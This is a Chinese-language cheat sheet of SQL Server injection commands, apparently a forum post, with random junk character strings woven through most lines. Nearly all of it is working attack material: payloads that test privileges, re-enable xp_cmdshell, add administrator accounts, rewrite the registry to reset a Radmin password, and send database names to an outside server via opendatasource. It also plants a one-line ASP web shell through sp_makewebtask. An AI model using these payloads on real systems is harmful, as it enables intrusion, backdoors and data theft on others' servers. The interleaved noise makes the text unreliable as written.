阿D常用的一些注入命令
4 ?! W* b/ ?+ t4 E//看看是什么权限的
2 l+ g7 J4 r- y) W7 _+ n0 @7 tand 1=(Select IS_MEMBER('db_owner'))
2 f" n# U; x" s. d( P" NAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--8 b7 v: i3 a2 B+ E+ Y5 E! m
F8 t7 `# j( Q$ b: Z; V! p
//检测是否有读取某数据库的权限
; r- R: b" g$ v; ^and 1= (Select HAS_DBACCESS('master')): N2 A$ F$ }+ p( d, k8 \
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --& k# X0 Y0 _3 X$ X
/ M2 I# Y' b& v" F$ H$ S: `) F& [+ c
数字类型, t6 |2 u# d& y! m$ r; B* ?
and char(124)%2Buser%2Bchar(124)=0
/ M: Q! J2 T' ]+ P! \ n9 _7 x' N' t
字符类型, b* B! B" U6 l/ K# P. ]
' and char(124)%2Buser%2Bchar(124)=0 and ''='* q/ o' B, A7 ]: T1 r& b* ~6 d
1 _ Y/ z% d" d6 ~0 {, \1 J
搜索类型
8 i9 f3 e" K6 \/ e9 w( G# r' and char(124)%2Buser%2Bchar(124)=0 and '%'='0 @! j4 s) p D5 Y1 A% e4 {8 T# [
. A# W' n/ b/ `爆用户名
@8 i+ Y8 b$ B( q) h; [* oand user>0+ P w! G. P; Z; [. a
' and user>0 and ''='
3 d$ O3 G( @5 y- @% D1 i# B3 Y& L0 ^* H2 o0 ]% g
检测是否为SA权限7 ]- F t' Q$ a" Q8 C. h
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
; n3 k7 U7 ]9 d% v- j5 @ ZAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --4 w5 C. Y# s. q, Y b9 o
8 S1 R, b7 t L
检测是不是MSSQL数据库: n- [/ \( f1 k
and exists (select * from sysobjects);--
" m( q; g; Q! D& n! F* N
7 R% y. |2 q9 D' u# `; U检测是否支持多行 o% Q3 z6 b. a) Z( ]
;declare @d int;-- 6 z" F& Z& V* ^; a s4 S' ]$ t
4 L) d; E8 D+ y, U" a恢复 xp_cmdshell
" c& p' R& x$ p7 A;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
- r5 } w0 g7 ?- I+ ]- [
7 a- f% r% F- d, C
+ q8 C/ N$ L8 a( p a: ~select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') 7 _1 j U4 L% Z
1 m L# y5 ]! s/ J1 C
//-----------------------; s/ r) H0 Y! Z3 L: d9 @
// 执行命令3 G. t6 E0 D9 c8 q" d
//-----------------------
' ~6 R" }( Y; r$ N; d8 N$ Y首先开启沙盘模式:$ s w1 T1 C1 d1 Z( v4 w
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
K" s, D8 `2 S( ^) l' X- g0 B( k# ~- Q# P. W
然后利用jet.oledb执行系统命令
( E5 ], I' Q+ ~1 i Dselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
+ S1 F: w- x) L* [# \" i" Y& Y( N) j2 Y$ D
执行命令3 j2 b+ F/ |# r R
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
9 f j* D& U2 ~+ l7 f
/ z9 i* f, H7 M* W6 bEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'' B0 E, s+ w4 x& F, S4 R
3 \( f8 z6 w Z6 J' f6 M判断xp_cmdshell扩展存储过程是否存在:! D0 }( ^" o' u- S$ H
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
9 t+ x: O# o' @2 ]5 ~' y h; j8 |* Z Z
写注册表* f v& ?# N7 W
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 ?# b$ g* W+ N9 d& z
' {8 `* {: T/ ^* `$ g3 j7 E% {+ b; ]REG_SZ; \) L; H3 z) Z* V$ J& y/ V# h, g
8 R* q$ e2 c# A4 w. Q# T$ }. ]读注册表' J4 f8 O1 a) z
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
! x* |2 m' U' Y2 h: V+ A) Y, X5 P4 C ~9 s$ F! L' `' L
读取目录内容
! Z, T& s+ N! J' fexec master..xp_dirtree 'c:\winnt\system32\',1,13 B3 h7 |# a8 t& T' f3 B; T
& k7 ^. o, t4 f' j: E e G* g0 H
; x' c( p/ c% L8 E& S4 n( D$ S数据库备份
0 @2 K- _3 c" _, ebackup database pubs to disk = 'c:\123.bak'. }/ D& q! n: q$ ~9 p6 p
- W& k6 G# W7 k# C a//爆出长度
7 H# [$ {/ {; kAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
' a6 H* u# m& b& Q: e- X9 l. t% q. e ?, L/ j- R* h
" Y. @4 z9 V' J
" \! {0 G7 J1 N* \
更改sa口令方法:用sql综合利用工具连接后,执行命令:
! o: j* Q: H; k! D, \. k& Z" {exec sp_password NULL,'新密码','sa', V$ `- D( Z2 o) [6 K7 d
) O8 k9 V( R8 O$ _添加和删除一个SA权限的用户test:
; M9 z. P3 J( u- S! N7 rexec master.dbo.sp_addlogin test,ptlove% ]8 a5 v5 b% A/ J& `+ J: h1 x) X* G
exec master.dbo.sp_addsrvrolemember test,sysadmin' I4 i" E5 l- p4 f
s( l/ O- j- E B* v1 M/ |删除扩展存储过过程xp_cmdshell的语句:
$ a' P" p" s4 X: uexec sp_dropextendedproc 'xp_cmdshell'
# i4 |( z2 R) }7 q4 C# z0 X# t
8 ]: y T3 d. W* Y0 J添加扩展存储过过程, N# O$ K b4 h0 ?
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' j& ]9 I m$ F0 e3 }5 ]
GRANT exec On xp_proxiedadata TO public
, I O9 u! x3 X* H s
' [$ S$ g( q- S! B/ j/ D* g& T# i* T* V5 a) I
停掉或激活某个服务。 2 A9 j0 B+ O* N) h, x
" ]* e& {+ {( ]0 W# c: m) I
exec master..xp_servicecontrol 'stop','schedule'' [. i: U* C0 n
exec master..xp_servicecontrol 'start','schedule'
0 G$ f3 P- v. ]( G$ `0 _+ }' v9 Z* B4 ~1 v: Y! ~! j
dbo.xp_subdirs/ N8 ?" l( u! c: ]+ @! I" E8 R
7 Z$ X3 X7 P' a/ r
只列某个目录下的子目录。
: m: p6 n3 N! p, t- sxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
; n# G* }" j( [! G6 R
# c/ x" F4 h6 w+ Tdbo.xp_makecab ]! R7 a. N( [& a, ^
2 B* V2 z- g& H" q3 z
将目标多个档案压缩到某个目标档案之内。" I8 o7 R& c$ K9 D% X
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
: N- {/ ^5 h' x2 o+ v# c5 C3 {5 N
' B; n7 C" R. s4 a+ [2 I3 _dbo.xp_makecab" A8 @- s( }. r. ^* `' W) }+ Y
'c:\test.cab','mszip',1,
' q- D1 F& K& X" M# f' c'C:\Inetpub\wwwroot\SQLInject\login.asp',8 J, k& u) o) V+ N- R, t
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
: n* q! @/ q9 v4 L/ o# }$ {/ d
! X2 M. I4 r, z& y+ mxp_terminate_process- b' ]( I# S; E
/ n5 a. u: `1 [. k( k
停掉某个执行中的程序,但赋予的参数是 Process ID。
' b) ~3 F% X1 b9 l$ K7 S) S. Q利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
$ w2 U9 z6 D8 ?, d' j: K
* o9 Z& {; v' c* m% K- V8 a" ?3 g7 Cxp_terminate_process 24840 ?9 X! F4 x L1 q8 [4 l
- X' L% V* t, {
xp_unpackcab, f+ G8 @. V- o) I4 t6 [4 G1 Y4 i4 u
9 d8 ]0 j7 t8 f$ P( H$ h6 V解开压缩档。+ L- X" ~8 g- j' R2 V
! N3 i1 H7 V$ H) \7 ]xp_unpackcab 'c:\test.cab','c:\temp',1: C# r a; x" C8 T8 V5 Z
- t4 P& p. l. C6 k, @
: N, l; m/ s+ M6 h
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
5 V' D% z. w/ ^7 h, i3 Q' ^0 n" {1 |! c! Z
create database lcx;
! s1 l) A# W; D0 s r! u* l5 @2 VCreate TABLE ku(name nvarchar(256) null);9 z9 Y B, @5 d- f+ |
Create TABLE biao(id int NULL,name nvarchar(256) null);; k, W6 X0 a4 {5 k, o9 X
( `- U$ o( A1 d+ L. H; A$ l" X//得到数据库名4 n4 j8 {) q9 @1 G& G Q
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
0 N: k' w V! _& m" Q7 h# @$ B) E2 c; }
2 a/ D. l, y: N* h- d# [8 ~
//在Master中创建表,看看权限怎样- X: n! ~. r& v' W/ s9 S1 P9 V, S
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
3 Y P* I4 Z U. p3 ~" {$ |
0 m) S* G5 ?; r% A' j- F) G; Y用 sp_makewebtask直接在web目录里写入一句话马:4 ~' z, ]" k/ @. Y
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--& k: D: y; D* Y$ t! c/ B- e7 t
# U' D) R E! _ Q1 ^
//更新表内容( B# F/ h' @0 [
Update films SET kind = 'Dramatic' Where id = 123
0 u# H, r- A: P1 c4 Q2 u, y7 f C# Y- s/ _
//删除内容
P6 A! b7 B& ?+ ~+ H2 X) G: hdelete from table_name where Stockid = 3 |